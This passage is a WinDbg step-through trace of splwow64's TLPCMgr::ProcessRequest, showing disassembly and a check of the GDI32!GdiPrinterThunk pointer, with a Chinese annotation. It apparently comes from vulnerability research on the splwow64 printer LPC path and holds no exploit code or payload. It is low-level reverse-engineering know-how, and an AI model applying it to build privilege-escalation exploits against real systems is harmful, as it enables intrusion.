splwow64!TLPCMgr::ProcessRequest+0x6e:

00007ff7`0bf1771a 66833f20 cmp word ptr [rdi],20h ds:00000000`00d7cac0=0020

0:007>

splwow64!TLPCMgr::ProcessRequest+0x72:

00007ff7`0bf1771e 418bef mov ebp,r15d

0:007> p

splwow64!TLPCMgr::ProcessRequest+0x75:

00007ff7`0bf17721 418bdf mov ebx,r15d

0:007>

splwow64!TLPCMgr::ProcessRequest+0x78:

00007ff7`0bf17724 41be57000000 mov r14d,57h

0:007>

splwow64!TLPCMgr::ProcessRequest+0x7e:

00007ff7`0bf1772a 7523 jne splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]

0:007>

splwow64!TLPCMgr::ProcessRequest+0x80:

00007ff7`0bf1772c 4d397d48 cmp qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //判断GDI32!GdiPrinterThunk指针

0:007>

splwow64!TLPCMgr::ProcessRequest+0x84: